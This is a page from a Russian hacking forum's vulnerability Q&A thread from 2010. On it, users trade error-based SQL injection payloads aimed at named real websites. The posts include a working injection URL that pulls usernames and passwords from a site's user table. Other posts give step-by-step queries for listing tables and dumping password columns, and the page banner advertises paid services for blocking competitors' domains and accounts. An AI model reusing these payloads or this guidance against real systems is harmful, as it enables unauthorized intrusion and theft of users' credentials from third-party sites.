Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1577 из 2438

1577

Опции темы

Поиск в этой теме

Опции просмотра

#15761

04.12.2010, 23:33

~d0s~

Познающий

Регистрация: 17.04.2010

Сообщений: 75

С нами: 8456812

Репутация: 55

FlaktW

http://www.alestilocuquita.com/descripcion.php?id=-347' and(select 1 from(select count(*),concat((select (select (SELECT concat_ws(0x3a,usuarios.usuario,usuarios.clave) FROM `orlando_cuiquita`.usuarios LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

Дальше перебирай лимитом юзверов

#15762

05.12.2010, 13:43

fl00der

Постоянный

Регистрация: 17.12.2008

Сообщений: 353

С нами: 9157119

Репутация: 74

А вот вопрос, когда есть стандартная инъекция, то нельзя ли в подзапросе выполнить UPDATE?

#15763

06.12.2010, 02:21

[Ozzi]

Новичок

Регистрация: 26.11.2010

Сообщений: 16

С нами: 8137046

Репутация: -1

Можно ли что то сделать в таких случаях

http://www.omelhordamoda.com.br/modafeminina.asp?CatID=80%27

http://www.siliconaction.com.br/registro/secao.mv?nomearquivo=[]

http://rasta.com.br/loja/index.php?page=shop.product_details%27&flypagep[]=shop.flypage%27&product_id=4685%27&category_id=8% 27&manufacturer_id=0%27&option=com_virtuemart&Item id=1%27

#15764

06.12.2010, 02:42

~d0s~

Познающий

Регистрация: 17.04.2010

Сообщений: 75

С нами: 8456812

Репутация: 55

[Ozzi]

В первом случае - скуля http://www.omelhordamoda.com.br/modafeminina.asp?CatID=1'

БД - MSAccess

Вот статья про эту субд /threadnav50550-1.html

А в остальных 2ух просто раскрытие я так понял.

Цитата:

Сообщение от fl00der

А вот вопрос, когда есть стандартная инъекция, то нельзя ли в подзапросе выполнить UPDATE?

Нет,нельзя.Апдейт встречается довольно редко,также как и обход авторизации.

#15765

06.12.2010, 16:42

[Ozzi]

Новичок

Регистрация: 26.11.2010

Сообщений: 16

С нами: 8137046

Репутация: -1

Цитата:

Сообщение от ~d0s~

[Ozzi]
В первом случае - скуля http://www.omelhordamoda.com.br/modafeminina.asp?CatID=1'
БД - MSAccess
Вот статья про эту субд /threadnav50550-1.html

Почитал попробовал но чет не раскручивается (

#15766

06.12.2010, 22:21

[Ozzi]

Новичок

Регистрация: 26.11.2010

Сообщений: 16

С нами: 8137046

Репутация: -1

Как переделать этот запрос

' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))) --

так что б он вывел table_name из information_schema

#15767

06.12.2010, 22:37

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 0

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от [Ozzi

"]
[Ozzi] said:
Как переделать этот запрос
' OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))) --

так что б он вывел table_name из information_schema

' or 1 group by concat((select table_name from information_schema.tables limit 0,1),floor(rand(0)*2)) having min(0) or 1 -- 1

#15768

06.12.2010, 22:46

[Ozzi]

Новичок

Регистрация: 26.11.2010

Сообщений: 16

С нами: 8137046

Репутация: -1

Цитата:

Сообщение от Фараон

' or 1 group by concat((select table_name from information_schema.tables limit 0,1),floor(rand(0)*2)) having min(0) or 1 -- 1

Ступил.. Спасибо!!!

#15769

07.12.2010, 01:23

[Ozzi]

Новичок

Регистрация: 26.11.2010

Сообщений: 16

С нами: 8137046

Репутация: -1

Делаю такой запрос

Код:

select column_name from information_schema.columns where table_name='User'

мне выдает там 5 значенй логин пароль и тд , делаю дальше так

Код:

select логин  from User -

меня бросает на главную страницу почему?

#15770

07.12.2010, 01:29

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 0

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от [Ozzi

"]
[Ozzi] said:
Делаю такой запрос

Код:

select column_name from information_schema.columns where table_name='User'

мне выдает там 5 значенй логин пароль и тд , делаю дальше так

Код:

select логин  from User -

меня бросает на главную страницу почему?

Проверьте количество записей:

Код:

select count(*) from User

Потом проверь, в какой базе таблица:

Код:

select table_schema from information_schema.tables where table_name='User'

Потом запросом:

Код:

select password from table_schema.User -

Выводи данные

Линк скинь.

Страница 1577 из 2438

1577

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)

Быстрый переход